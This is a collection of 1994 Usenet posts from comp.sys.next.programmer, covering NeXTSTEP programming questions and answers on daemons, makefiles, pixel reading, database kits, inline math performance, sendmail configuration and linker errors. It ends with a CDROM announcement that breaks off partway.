Newsgroups: comp.sys.next.programmer From: peter@corsica (Peter Eisch) Subject: Re: Daemon ... do many folks do this kind of thing? Message-ID: <CMKHCt.7A1@news.cis.umn.edu> Sender: news@news.cis.umn.edu (Usenet News Administration) Organization: University of Minnesota Hospital and Clinic, Laboratory Information Services References: <2krus4$kve@news.csus.edu> <CM6AJ6.EDE@benatong.com> Date: Sat, 12 Mar 1994 19:42:09 GMT Charles G. Bennett (chuck@benatong.com) wrote: : In article <2krus4$kve@news.csus.edu> kabirmj@nextnet.csus.edu (Mohammed : Kabir) writes: : > I am trying to create a daemon with the folloing code but having : > trouble getting the process to disconnet itself from the controllling : > terminal. Can any one explain whats wrong here? Please send me e-mail : > if possible. Thanks : > : [code munched] : When I'm "doing daemons" I use this function call from main.. : when it returns you "are" a daemon. [code munched] I have this collection of classes that I've been refining over the last year or so. Most of my programming lately (the really interesting stuff to me anyway) has been writing Distributed Object daemons that loosely function as user-level kernel device drivers. (eg. Attach a barcode reading device to a serial port and then vend an object that will forward the read barcode to a requesting program(s) should they find that info useful.) I've been thinking that this might be useful for a bunch of folks out there, but have never seen much discussion about daemons doing such. AND, I have yet to see what is provided with PDO. This will be fixed tho by June so I'll know by then whether I've wasted my time or not. I'm guessing that it hasn't been a waste as I doubt Application exists in the PDO library and I haven't seen any daemon classes on NEXTSTEP so NeXT doesn't seem to be in clear support of this functionality. Time will tell though... peter -- Always looking for a handy place to nap... peter@tahiti.umhc.umn.edu (Peter Eisch) peisch@snac.cfa.org
From: hsr@cs.Stanford.EDU (Scott Roy) Newsgroups: comp.sys.next.programmer Subject: Re: Overriding PB's default architectures. Date: 12 Mar 1994 19:58:47 GMT Organization: Stanford University: Computer Science Department Distribution: world Message-ID: <2lt6tn$8u7@Times.Stanford.EDU> References: <2ls468$13f@steffi.demon.co.uk> Robert Nicholson writes | | My problem is that OFILE_DIR doesn't get set based on TARGET_ARCHS | correctly. | Yes, that's what I was describing. 3.2 seems to bypass the OFILE_DIR macro entirely at the top level. You need to use something like, library:: $(process_target_archs)_obj ; \ make $(WHATEVER) "OFILE_DIR = $(OBJROOT)/$$obj_dir" $(WHATEVER):: ...etc. --- Scott Roy Department of Computer Science Stanford University
From: art@cubicsol.com (Art Isbell) Newsgroups: comp.sys.next.programmer Subject: Re: Simple PB cosmetic winge. Date: 12 Mar 1994 20:09:57 GMT Organization: University of California, Santa Cruz Distribution: world Message-ID: <2lt7il$pui@darkstar.UCSC.EDU> References: <2lqta9$7i9@steffi.demon.co.uk> In article <2lqta9$7i9@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: > Hands up if you are like me and always clicked on the button to the > left of Builder for Files and to the right of Files for Builder. > Having been running 3.2 since last October, I don't know whether I used to do this, but I don't now, so I'm not holding up my hand :-) > I still do this and guess what I up in, yes that's right the good old > (new) Find Panel. > > IMHO: The Find button should have been tacked on the end such that the > interaction was the same as before. Open PB's nib in IB and move the button to your favorite position and save it. Instant GUI customizability. --- Art Isbell Cubic Solutions NeXT Registered Consultant NEXTSTEP software development and consulting NeXTmail: art@cubicsol.com Voice: +1 408 335 1154 USmail: 95018-9442 Fax: +1 408 335 2515
From: art@cubicsol.com (Art Isbell) Newsgroups: comp.sys.next.programmer Subject: Best approach for fast local access of retrieved database data Date: 12 Mar 1994 20:28:36 GMT Organization: University of California, Santa Cruz Distribution: world Message-ID: <2lt8lk$q2p@darkstar.UCSC.EDU> I need to be able to access database data rapidly and with standard NEXTSTEP objects to configure a window as it's being opened. The data is an associated pair; i.e., given a value for the first data, the value for its associated data is what I need. The obvious first approach is to fetch data for the current window from the database each time it's needed, but this adds a brief delay to the already too-slow window configuration process. The next approach is to fetch data for all windows in one batch and store it locally in a recordList. Sequential search for a specific window seems slow (500+ windows), bsearch() is "illegal" to use with a recordList because getting a recordList's _rowList and thus its dataPtr isn't supported by the public API, and I'm too lazy to write a custom recordList binary search algorithm (I want to use already-available tools). One approach would be to add data from each row to a hash table. I could be lazy and walk the recordList adding each row or I could implement the DBContainers protocol as a hash table category and use the hash table as a DBBinder container directly. Or the most intriguing and what seems to be the "most correct" would be to create an Indexing Kit btree index on the retrieved data and access it via the btree just like in the database server. But does anyone else find the IXKit documentation to be ... well, "opaque" comes to mind :-) Can someone recommend a path through the docs (or anywhere else) that might lead to my understanding? I know I'm beating this to death, but I'm looking at it as a learning experience. I've avoided DBBinders and IXKit, so maybe this is a good time to learn more about them. Just having so many options available with only a minimal of programming is a testament to the richness of NEXTSTEP. --- Art Isbell Cubic Solutions NeXT Registered Consultant NEXTSTEP software development and consulting NeXTmail: art@cubicsol.com Voice: +1 408 335 1154 USmail: 95018-9442 Fax: +1 408 335 2515
Newsgroups: comp.sys.next.programmer From: peter@corsica (Peter Eisch) Subject: Re: "Grab"-like rectangle dragging Message-ID: <CMKJzx.8z0@news.cis.umn.edu> Sender: news@news.cis.umn.edu (Usenet News Administration) Organization: University of Minnesota Hospital and Clinic, Laboratory Information Services References: <2ll6d7$d7j@wave.aoml.erl.gov> <1994Mar10.181418.22234@Angst.COM> Date: Sat, 12 Mar 1994 20:39:24 GMT Dylan Kohler (dylan@Angst.COM) wrote: : Thanks for the response. The part of catching the events is where I have the : trouble. I don't know how to catch any mouseDown events that occur outside of : my application's windows... I've tried Application's getNextEvent: and the : lower-level NXGetOrPeekEvent. I think I even tried DPSGetEvent(). There must : be something even more lower-level, but I don't know it... Events get from the windowserver to the appropriate application as determined by the window that the event happened (for the mouse anyway). So events that happen over the workspacewindow go to that window. It's up to the application that owns that window to determine the appropriate respone. You're 'only' option is to have a window that covers the screen and trap the events as described in WhatADrag. peter ps. other 'only' options are always welcome... -- Always looking for a handy place to nap... peter@tahiti.umhc.umn.edu (Peter Eisch) peisch@snac.cfa.org
From: klein@scratchy (Michael Klein) Newsgroups: comp.sys.next.programmer,comp.sys.next.misc Subject: smalltalk on NeXtStep Date: 12 Mar 1994 23:46:59 GMT Organization: California Institute of Technology, Pasadena Message-ID: <2ltk9j$cu8@gap.cco.caltech.edu> Keywords: gnu smalltalk nextstep I am trying to get Gnu Smalltalk up and running on NeXTStep. I am running 3.2 on an Intel GX/Pro. Is anyone out there doing any smalltalk work on NeXT? Anyone been able to interface to Display Postscript? I normally run VisualWorks (alas, under Windows yuk.) Maybe we can all get together, that is if there is anyone out there trying to do this besides me. -- mike klein klein@pooh.caltech.edu (NeXT-mail a pleasure to read)
From: klein@scratchy (Michael Klein) Newsgroups: comp.sys.next.programmer Subject: smalltalk on NeXtStep Date: 12 Mar 1994 23:47:17 GMT Organization: California Institute of Technology, Pasadena Message-ID: <2ltka5$cuj@gap.cco.caltech.edu> Keywords: gnu smalltalk nextstep I am trying to get Gnu Smalltalk up and running on NeXTStep. I am running 3.2 on an Intel GX/Pro. Is anyone out there doing any smalltalk work on NeXT? Anyone been able to interface to Display Postscript? I normally run VisualWorks (alas, under Windows yuk.) Maybe we can all get together, that is if there is anyone out there trying to do this besides me. -- mike klein klein@pooh.caltech.edu (NeXT-mail a pleasure to read)
From: klein@scratchy (Michael Klein) Newsgroups: comp.sys.next.programmer Subject: smalltalk on NeXtStep Date: 12 Mar 1994 23:47:28 GMT Organization: California Institute of Technology, Pasadena Message-ID: <2ltkag$cuk@gap.cco.caltech.edu> Keywords: gnu smalltalk nextstep I am trying to get Gnu Smalltalk up and running on NeXTStep. I am running 3.2 on an Intel GX/Pro. Is anyone out there doing any smalltalk work on NeXT? Anyone been able to interface to Display Postscript? I normally run VisualWorks (alas, under Windows yuk.) Maybe we can all get together, that is if there is anyone out there trying to do this besides me. -- mike klein klein@pooh.caltech.edu (NeXT-mail a pleasure to read)
From: klein@scratchy (Michael Klein) Newsgroups: comp.sys.next.programmer Subject: smalltalk on NeXtStep Date: 12 Mar 1994 23:47:33 GMT Organization: California Institute of Technology, Pasadena Message-ID: <2ltkal$cul@gap.cco.caltech.edu> Keywords: gnu smalltalk nextstep I am trying to get Gnu Smalltalk up and running on NeXTStep. I am running 3.2 on an Intel GX/Pro. Is anyone out there doing any smalltalk work on NeXT? Anyone been able to interface to Display Postscript? I normally run VisualWorks (alas, under Windows yuk.) Maybe we can all get together, that is if there is anyone out there trying to do this besides me. -- mike klein klein@pooh.caltech.edu (NeXT-mail a pleasure to read)
From: klein@scratchy (Michael Klein) Newsgroups: comp.sys.next.programmer Subject: smalltalk on NeXTStep Date: 12 Mar 1994 23:48:05 GMT Organization: California Institute of Technology, Pasadena Message-ID: <2ltkbl$cus@gap.cco.caltech.edu> Keywords: gnu smalltalk nextstep I am trying to get Gnu Smalltalk up and running on NeXTStep. I am running 3.2 on an Intel GX/Pro. Is anyone out there doing any smalltalk work on NeXT? Anyone been able to interface to Display Postscript? I normally run VisualWorks (alas, under Windows yuk.) Maybe we can all get together, that is if there is anyone out there trying to do this besides me. -- mike klein klein@pooh.caltech.edu (NeXT-mail a pleasure to read)
Newsgroups: comp.sys.next.programmer From: bouhouch@next.mc.maricopa.edu (Ali Bouhouch) Subject: Programmatic Color Picking, i.e., without the ColorPicker Message-ID: <CMIGJp.7y7@ennews.eas.asu.edu> Keywords: color picker, pixel color Sender: news@ennews.eas.asu.edu (USENET News System) Organization: Arizona State University Date: Fri, 11 Mar 1994 17:28:31 GMT How can we get the color of a pixel on the screen knowing its coordinates? It's just what the Color Picker does, but we want to do it programmatically. We would also settle for just knowing what color a pixel is at a specific point in our tiff image. We would appreciate any ideas regarding how this might be done. Ken Costello & Ali Bouhouch Center for Teaching & Learning Mesa Community College Next Mail welcomed costello@next.mc.maricopa.edu
From: wes@arissoft.com Newsgroups: comp.sys.next.programmer Subject: vnode_pageout: failed! Date: 13 Mar 1994 04:29:48 GMT Organization: Real/Time Communications - Bob Gustwick and Associates Distribution: world Message-ID: <940312222832.10014AAABE.wes@arissoft> Mime-Version: 1.0 (Generated by Eloquent) Content-Type: text/plain; charset=US-ASCII Does anyone know what this error message means or what causes it? This is what it said in the console window: vnode_pageout: failed! vnode_pageout: failed! (repeated several times) Any comments would be appreciated. Wes Smith wes@arissoft.com MIME and NeXTmail ok
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: Programmatic Color Picking, i.e., without the ColorPicker Date: 13 Mar 1994 10:48:20 GMT Organization: San Francisco State University Message-ID: <2lur1k$igo@nic-nac.CSU.net> References: <CMIGJp.7y7@ennews.eas.asu.edu> In article <CMIGJp.7y7@ennews.eas.asu.edu> bouhouch@next.mc.maricopa.edu (Ali Bouhouch) writes: >How can we get the color of a pixel on the screen knowing its coordinates? >It's just what the Color Picker does, but we want to do it >programmatically. The function NXReadPixel() will let you query the Window Server for the color of a pixel in a given View; if you want to examine one of your own Windows, this is pretty straightforward. To do "what the Color Picker does"--read any pixel on the screen-- create a Nonretained NX_PLAINSTYLE Window (with autofill false!), order it front, NXReadPixel() from its contentView, and order it out immediately. > We would also settle for just knowing what color a >pixel is at a specific point in our tiff image. That's not "settling for"--it's vastly more efficient. Asking the Window Server for anything is SLOW--if you already have the desired information on the client side (e.g. in an NXBitmapImageRep), by all means use it! [Sample code for doing exactly this was in NeXTanswers about 2 years ago--I don't know if it still is.] -=EPS=-
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: vnode_pageout: failed! Date: 13 Mar 1994 10:54:16 GMT Organization: San Francisco State University Message-ID: <2lurco$ioj@nic-nac.CSU.net> References: <940312222832.10014AAABE.wes@arissoft> In article <940312222832.10014AAABE.wes@arissoft> wes@arissoft.com writes: >Does anyone know what this error message means or what causes it? This is what >it said in the console window: > > vnode_pageout: failed! Something tried to write to a full filesystem (easily demonstrated with floppy disks). -=EPS=-
From: mwa@ife.ee.ethz.ch (Marcel Waldvogel) Newsgroups: comp.sys.next.programmer Subject: Re: Daemon doesn't disconnect from terminal! Date: 13 Mar 1994 14:56:08 GMT Organization: Institut fuer Elektronik, ETH Zuerich, Switzerland Message-ID: <2lv9i8$7al@elna.ethz.ch> References: <2krus4$kve@news.csus.edu> <CM6AJ6.EDE@benatong.com> In article <CM6AJ6.EDE@benatong.com>, Charles G. Bennett <chuck@benatong.com> wrote: >daemon_init(void) >{ [...] > umask(0); Why are you doing the umask(0)? This means you have to be careful when creating files (even in subprocesses) and can't use the fopen(). -Marcel
From: premise@pindar.ccs.itd.umich.edu (Sean Michael Willson) Newsgroups: comp.sys.next.programmer Subject: Workspace Crash Date: 13 Mar 1994 19:08:04 GMT Organization: University of Michigan Message-ID: <2lvoak$kjd@lastactionhero.rs.itd.umich.edu> Hello, I am a student at the University of Michigan Ann Arbor. We have a small NeXT lab on central campus that has 19 next motorollas, running NeXTSTEP version 3.0. Whenever I log on to one of these machines (It happens on all of them) I can do work for a while but then the workspace manager crashes. I cannot figure out why. I have tried replacing my NeXT file (My sys admin told me to) but that did nothing but lose everything I did in customization. I sometimes can work for a few hours switching between apps and then it will crash. Other times I will log in, open mail, then when I click on the wrokspace manager CRASH. It becomming more and more frequent and effecting my work. When it crashes it gives a message the the "Workspace manager has crashed. PLease exit and save changes if possible" or something like that. Is anyone can help at All I would owe them forever. Please I love NeXT's and I have work to do. Please help ASAP. I posted tis before but only one person replied. Sean Willson premise@churchst.ccs.itd.umich.edu -- _________________________________________________________________________ |Sean Michael Willson | E-Mail | |Co-President of wwiNc. | premise@churchst.ccs.itd.umich.edu | | NeXT Mail Welcome | | "Do not believe in miracles. Rely on them." | |________________________________________________________________________|
From: otto@coactive.com (Otto Lind) Newsgroups: comp.sys.next.programmer Subject: Re: Executing remote commands! Date: 13 Mar 1994 09:38:22 GMT Organization: Coactive Aesthetics Inc. Message-ID: <2lumue$5kr@disc.coactive.com> References: <2ln6ua$c53@email.tuwien.ac.at> Suessner Michael (michael@cogito.iaee.tuwien.ac.at) wrote: : I am trying to execute remote commands like rsh with the UNIX system : function system(). % ls -Fl /usr/ucb/rsh -rwsr-xr-x 1 root 3324 Aug 18 1993 /usr/ucb/rsh* : When I start the application with the GDB, I always get the following : error: : sh: privileges disabled because of outstanding IPC access to task This is caused by rsh being a suid 'root' program. : What will I have to set in the Debugger, so that I can run the application : under the debugger? The only way I found to make this work is to debug the executable as root. Otto -- Otto Lind Coactive Aesthetics otto@coactive.com P.O. Box 425967, San Francisco, CA 94142 netcom!coactive!otto voice:(415)626-5152 fax:(415)626-6320
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Make problem solved. Date: 13 Mar 1994 18:57:13 -0000 Organization: me organised, that's a joke. Message-ID: <2lvnm9$ji@steffi.demon.co.uk> Well I now have a better understanding of recursive makefiles. I wasn't carrying down the OFILE_DIR definition which is why it wasn't set. I'm very happy since now I have a method that allows me to easily store build architectures on a per project basis. Something that PB should do, by saving a TARGET_ARCH definition in the PB.project, and consequently defining it in Makefile. It's still impossible to specify a global default though. Because the process_target_archs macro only sees one definition. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: tjhendry@mcs.drexel.edu (Jonathan Hendry) Subject: NXBrowser for filesystem? Message-ID: <1994Mar13.232147.19471@netnews.noc.drexel.edu> Sender: news@netnews.noc.drexel.edu Organization: Drexel University, Dept. of Math. and Comp. Sci. Date: Sun, 13 Mar 1994 23:21:47 GMT Is there any PD code for filling an NXBrowser with a directory tree? (Same thing you have in an OpenPanel or SavePanel). -- Jonathan W. Hendry Inexpensive NeXTSTEP Consulting tjhendry@mcs.drexel.edu For Your "Not-So-Mission-Critical" Apps
Newsgroups: comp.sys.next.programmer From: peter@dflora.com (Peter D. Wilson) Subject: DBKit Object Attribute Example ? Message-ID: <1994Mar8.184344.255@dflora.cuug.ab.ca> Sender: peter@dflora.cuug.ab.ca Organization: Dflora Systems Inc. Date: Tue, 8 Mar 1994 18:43:44 GMT Does anyone have, or know where I can find, an example of the use of object data as per the object attribute in DBModeler. Thanks, peter -- peter d. wilson email: peter@dflora.com (NeXTMail OK) Voice: (403) 286-5200 Fax: (403) 286-5223 Independent NextStep Developer
Newsgroups: comp.sys.next.programmer From: mckelvey@fafnir.com (James W. McKelvey) Subject: Re: Using -DINLINE_MATH on m68040 NeXT Message-ID: <CMMILI.Aq0@fafnir.com> Sender: mckelvey@fafnir.com (James W. McKelvey) Organization: Fafnir Software, Saugus, CA, USA References: <2llpni$k6j@hermes.unt.edu> Date: Sun, 13 Mar 1994 22:03:17 GMT In article <2llpni$k6j@hermes.unt.edu> doug@ponder.csci.unt.edu (Douglas A. Scott) writes: > Could someone tell me if the INLINE_MATH versions of the math functions in > ansi/m68k/math.h will produce faster code on a 68040 machine? I have been > told that they may only be of use on 030 machines with the floating point > chip -- is this still the case, or do the asm calls actually get used on the > 040? I cannot find any reference to this in the documentation (what else is > new?). > Well, in the first place, there's a reference to INLINE_MATH in ansi/m68k/math.h. If you write a simple program to call sqrt() a million times in a loop, and dump out the generated assembly code, you can see the difference: #import "math.h" int main (void) { double x; long int i; for (i = 0; i < 1000000; i++) x = sqrt(3.0); return 0; } with -DINLINE_MATH .text .align 1 .globl _main _main: link a6,#-12 nop clrl a6@(-12) L29: cmpl #999999,a6@(-12) jgt L30 clrl sp@- movel #1074266112,sp@- jbsr __builtin_sqrt addqw #8,sp movel d0,a6@(-8) movel d1,a6@(-4) L31: addql #1,a6@(-12) jra L29 L30: clrl d0 jra L28 L28: unlk a6 rts .align 1 __builtin_sqrt: link a6,#-8 movel d2,sp@- fmoved a6@(8),fp0 ftstx fp0 fjnlt L21 moveq #33,d2 movel d2,_errno L21: #APP fsqrtx fp0,fp1 #NO_APP fmoved fp1,a6@(-8) movel a6@(-8),d0 movel a6@(-4),d1 jra L20 L20: movel a6@(-12),d2 unlk a6 rts without -DINLINE_MATH .text .align 1 .globl _main _main: link a6,#-12 nop clrl a6@(-12) L2: cmpl #999999,a6@(-12) jgt L3 clrl sp@- movel #1074266112,sp@- jbsr _sqrt addqw #8,sp movel d0,a6@(-8) movel d1,a6@(-4) L4: addql #1,a6@(-12) jra L2 L3: clrl d0 jra L1 L1: unlk a6 rts If you then time these versions and average the results: With: about 7.6 seconds Without: about 8.0 seconds Or: about a 5% speedup. Don't turn on optimization or the compiler will optimize the loop away. -- What I did must have been right, or an angel would have stopped me, just as the angel stopped Abraham in the Bible. -- Albert Fish, the cannibal Jim McKelvey mckelvey@fafnir.com
Newsgroups: comp.sys.next.programmer From: dhowland@gpu.srv.ualberta.ca (Deborah Howland) Subject: Optimal use of NXImage? Message-ID: <dhowland.763618786@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada Date: Mon, 14 Mar 1994 04:19:46 GMT First of all, I'd like express belated thanks to some people who helped me with a TIFF scaling question last year: peter@tahiti.umhc.umn.edu (Peter Eisch) peter.a.eisch@uwrf.edu Michael McCulloch michael@hsv.tybrin.com Peter_Kron@corona.com Marcel Weiher marcel@cs.tu-berlin.de All of the above provided useful info that helped me implement a zoom function with a custom view comprised of an NxN grid of tiled TIFFs, imaged using NXImage. Sorry to be so late in passing back thanks, but shortly after receiving these helpful tips, my machine blew up. I've only recently got it back up & running, and started poking around with my project again. That brings up my second item. In this same project, I'm making use of multiple copies of 3 (currently, more later) TIFFs, via NXImage, all of them being resized (to the same size) occasionally as the user tweaks a zoom popup list. As mentioned above, the images are displayed tiled in an NxN grid which makes up my custom view. Each element of the grid has associated with it an object, one of whose ivars represents the image to be displayed at that element's grid coordinates. I'm wondering if it's more efficient to have each of the grid objects have an id pointing to one of the NXImage objects directly, and deal with the sizing & compositing operations, or if it's better for the grid objects to use an image controller object to do the handling of the NXImage objects, thus reducing the numbers of pointers to the 3 NXImage objects, and allowing for some reduction in the number of resize operations. I'm assuming that the first approach involves pointers to the same instance of each of the 3 NXImage objects, rather than many instances of the 3 images, but the documentation is a shade unclear (NXImage class comments & findImageNamed: method comments). I've coded a test app both ways, and can't really observe any major efficiency benefit one way or the other, although it seems (paradoxically?) that the second approach with an image controller being the only thing dealing with the NXImages, takes more VM than the first approach, where each grid object has its own pointer to an NXImage. Also, of course, the code for the second approach is a bit more complex. Comments? Rereading the above, it seems pretty much clear as mud what I'm talking about. :~) But anybody venturing an email response would be most welcomed. Royce Howland dhowland@gpu.srv.ualberta.ca (wife's account)
Newsgroups: comp.sys.next.programmer,comp.sys.next.software From: tomi@shinto.nbg.sub.org (Thomas Engel) Subject: 3DMouseAdaptor. Any interest ? Message-ID: <CMMIoI.MB@shinto.nbg.sub.org> Followup-To: comp.sys.next.programmer Keywords: SpaceMouse, renderMan, MiscKit, CyberMause Sender: tomi@shinto.nbg.sub.org (Thomas Engel) Organization: Molecule Modelling Lab. Date: Sun, 13 Mar 1994 22:05:05 GMT Hello! I am planning to make my private SpaceMouseAdaptor available through the MiscKit once it will run smoothly. As a next step I'm planning to produce a app call 3DMouseAdaptor that will provide some simple API via a PDO port. A simple message like: [server currentTransformation] will return a simple struct, or object that holds the data about rotation and translation. The basic idea is that this approach would allow a user to use any kind of 3DMouse (SpaceMouse (by SpaceControl), CyberMouse (by Logitec?) or what ever) within every kind of 3Dapp without limiting him to only one app that locks the 3dDevice. I have no real methods defined yet and only a very vague idea of the hole app. The app and objects will be free and maybe part of the MiscKit (if Don thinks it is worth adding). So your comments and suggestions are welcome. How would you like to communicate to a 3DMouse. Bye, Tomi -- ____________________________________________________ (tomi@shinto.nbg.sub.org) Thomas Engel Neptunstr. 9 NeXTMail welcome 90522 Oberasbach
Newsgroups: comp.sys.next.programmer From: leif@pattern.rmnug.org (Leif Smith) Subject: Book: "Database Kit Concepts" Message-ID: <1994Mar14.064943.2092@nugget.rmNUG.ORG> Sender: leif@nugget.rmNUG.ORG Organization: Rocky Mountain NeXT Users' Group Date: Mon, 14 Mar 1994 06:49:43 GMT "NEXTSTEP Database Kit Concepts," from Addison-Wesley, ISBN 0-201-40741-8, part of the NEXTSTEP Developer's Library. Found at a Denver bookstore. Came as a surprise. Now I wonder if there is a book on the Indexing Kit out there somewhere. -- Leif Smith, Denver leif@pattern.rmnug.org -- Leif Smith, Denver leif@pattern.rmnug.org
From: ah@fml.tuwien.ac.at (Andreas Haleger) Newsgroups: comp.sys.next.programmer Subject: Su: System V Shared Memory Date: 14 Mar 1994 11:21:48 GMT Organization: Technical University Vienna, Austria Distribution: world Message-ID: <2m1hcc$i1j@email.tuwien.ac.at> References: <2lkkao$2bk@email.tuwien.ac.at> In article <2lkkao$2bk@email.tuwien.ac.at> ah@fml.tuwien.ac.at (Andreas Haleger) writes: > > Hi, > I am not sure, but remember that somebody has written emulation code for > the System V shared memory calls. I browsed through the next ftp sites > without success. Has anybody clues here? > Thanks for many answers. There is a commercial solution for shared memory and semaphores. Postgress ported to Next is also available. Contact: R&A Goudreinetstraat 582 2564 PX Den Haag The Netherlands Fax/answering: +31 70 3230851 Email: info@rna.indiv.nluug.nl There is also a "quick and dirty" hack for shared memory (only). I don't know if this solution has been ftped or posted a long time ago. Contact: Thomas Funke Gasteinerstr. 29 1000 Berlin 31 Germany E-mail: thf@zelator.in-berlin.de Thanks again, -- == Andreas == Wir entschuldigen uns fuer die Strapazen (Douglas Adams). NeXTmail accepted.
From: me@vigor.anatomy.upenn.edu (Joe Panico) Newsgroups: comp.sys.next.programmer Subject: Re: Book: "Database Kit Concepts" Date: 14 Mar 1994 11:44:54 GMT Organization: University of Pennsylvania Distribution: world Message-ID: <2m1inm$nr1@netnews.upenn.edu> References: <1994Mar14.064943.2092@nugget.rmNUG.ORG> In article <1994Mar14.064943.2092@nugget.rmNUG.ORG> leif@pattern.rmnug.org (Leif Smith) writes: > "NEXTSTEP Database Kit Concepts," from Addison-Wesley, ISBN > 0-201-40741-8, part of the NEXTSTEP Developer's Library. > > Found at a Denver bookstore. Came as a surprise. Now I wonder if > there is a book on the Indexing Kit out there somewhere. > > -- > Leif Smith, Denver > leif@pattern.rmnug.org > -- > > Leif Smith, Denver > leif@pattern.rmnug.org Hi, is this just a hard-copy of the on-line documentation, or does it represent new content? Joe Panico joe@retina.anatomy.upenn.edu
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Book: "Database Kit Concepts" Date: 14 Mar 1994 12:57:34 -0000 Organization: me organised, that's a joke. Message-ID: <2m1mvu$dp@steffi.demon.co.uk> References: <1994Mar14.064943.2092@nugget.rmNUG.ORG> <2m1inm$nr1@netnews.upenn.edu> joe@retina.anatomy.upenn.edu wrote in comp.sys.next.programmer >In article <1994Mar14.064943.2092@nugget.rmNUG.ORG> leif@pattern.rmnug.org >(Leif Smith) writes: >> "NEXTSTEP Database Kit Concepts," from Addison-Wesley, ISBN >> 0-201-40741-8, part of the NEXTSTEP Developer's Library. >> >> Found at a Denver bookstore. Came as a surprise. Now I wonder if >> there is a book on the Indexing Kit out there somewhere. >> >> -- >> Leif Smith, Denver >> leif@pattern.rmnug.org >> -- >> >> Leif Smith, Denver >> leif@pattern.rmnug.org > >Hi, > >is this just a hard-copy of the on-line documentation, or does it >represent new content? > >Joe Panico >joe@retina.anatomy.upenn.edu Of course it is. /NextLibrary/Documentation/NextDev/Concepts/DatabaseKit -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: dmm0t@rincewind.mech.virginia.edu (David Meyer) Subject: Re: sendmail.8.6.5 Message-ID: <CMGJnA.701@murdoch.acc.Virginia.EDU> Sender: usenet@murdoch.acc.Virginia.EDU Organization: University of Virginia References: <2llma1$k1f@news.bu.edu> Date: Thu, 10 Mar 1994 16:40:22 GMT In article <2llma1$k1f@news.bu.edu>, Mitchell Golden <golden@weyl.bu.edu> wrote: >Mar 9 18:16:28 mname sendmail[108]: NOQUEUE: SYSERR: service "smtp" unknown > >Anyone have any ideas? Do I have a wrong sendmail.cf file? You've run into a weird bug with getservbynam in NS3.0. For some reason, the getservbynam call fails when you run sendmail in daemon mode under 3.0 (though it works fine when you run in under a debugger - arrgh). Anyway, the effect is that sendmail can't figure out that the smtp port is 25. The easy fix is to put OOPort=25 into your sendmail.cf. That hard codes 25 as your smtp port, so the getservbynam call is unnecessary. Dave -- David M. Meyer Mechanical & Aerospace Engineering dmm0t@rincewind.mech.virginia.edu University of Virginia NeXTmail ok
From: jfw@cs.duke.edu (John F. Whitehead) Newsgroups: comp.sys.next.programmer Subject: compiling non-Next sources problem Message-ID: <JFW.94Mar14121426@muse.cs.duke.edu> Date: 14 Mar 94 17:14:26 GMT Sender: news@duke.cs.duke.edu Organization: Duke University Department of Computer Science I'm having trouble compiling a program that hasn't been set up for use on a Next. Does anyone know what the cause of these errors may be? # make csound cc -O -DRTAUDIO -DNeXT -I/usr/include/sys -I/usr/local/include/csound -o csound main.o musmon.o oload.o rdorch.o express.o rdscor.o linevent.o insert.o entry.o fgens.o aops.o midiops.o midirecv.o ugens1.o ugens2.o ugens3.o ugens4.o ugens5.o ugens6.o ugens7.o ugens8.o spectra.o disprep.o window.o winascii.o sfheaders.o soundin.o soundio.o ulaw.o aiff.o IEEE80.o filopen.o memalloc.o memfiles.o auxfd.o windin.o rtaudio.o scot.o scsort.o scxtract.o sread.o sort.o extract.o twarp.o swrite.o -L/usr/local/lib -lcsound -lm -lmidi /bin/ld: multiple definitions of symbol _scalb /usr/lib/libm.a(support.o) definition of _scalb in section (__TEXT,__text) /lib/libsys_s.a(support.o) definition of absolute _scalb (value 0x5003794) /bin/ld: multiple definitions of symbol _copysign /usr/lib/libm.a(support.o) definition of _copysign in section (__TEXT,__text) /lib/libsys_s.a(support.o) definition of absolute _copysign (value 0x5003710) /bin/ld: multiple definitions of symbol _logb /usr/lib/libm.a(support.o) definition of _logb in section (__TEXT,__text) /lib/libsys_s.a(support.o) definition of absolute _logb (value 0x5003782) /bin/ld: multiple definitions of symbol _finite /usr/lib/libm.a(support.o) definition of _finite in section (__TEXT,__text) /lib/libsys_s.a(support.o) definition of absolute _finite (value 0x5003740) /bin/ld: multiple definitions of symbol _drem /usr/lib/libm.a(support.o) definition of _drem in section (__TEXT,__text) /lib/libsys_s.a(support.o) definition of absolute _drem (value 0x5003722) *** Exit 1 Stop. I can't find references to these files or symbols in the code, so I can't tell what may be causing the problem. Furthermore, I'm not very familiar with problems of getting non-Next code to work on Nexts, because it's a friend's machine. Does anyone have any suggestions as to what might be the problem? I also have a second question: the makefile allows for compiling an executable that makes use of a 68881 processor. Since the 68040 has the FPU built-in, does that mean it will accept all 68881 instructions? Thanks! -- _____________________________________________________________________________ | John jfw@cs.duke.edu Don't trust any computer you Duke University| | Whitehead jfw@well.sf.ca.us can't throw out the window. Computer Science| |_____________________________________________________________________________|
From: rab@sprite.berkeley.edu (Robert A. Bruce) Newsgroups: comp.sys.next.programmer Subject: New -- Nova CDROM, 2nd Edition, for NeXT Date: 14 Mar 1994 17:41:11 GMT Organization: University of California, Berkeley Message-ID: <2m27jn$dus@agate.berkeley.edu> Walnut Creek CDROM is proud to announce the immediate availability of the Nova CDROM Second Edition, for NeXT Workstations. The Nova CDROM contains software for the Black (Motorola) NeXT. We also have the Nebula CDROM for NeXTSTEP Intel. This new totally revised edition of the Nova will give you more applications, more source code, more fun and information. On this disc you will find utilities, games, fonts, sounds, music, PostScript and tiff graphics. Included on the Nova is the largest collection of public domain and shareware applications of it's kind. There is more applications then ever before and you will see why the Nova is one of the most popular CDROM for the NeXT platform. Each directory on the disc contains an index listing filename, version, author and a short description of each file. A central index is also included which you use with Digital Librarian to quickly locate any file. The Nova for NeXT hardware is in ISO-9660 format with Rock Ridge extensions. A must for every NeXT owner. Remember this is a lot more then an update it's a totally new revised edition. Specs Date published: 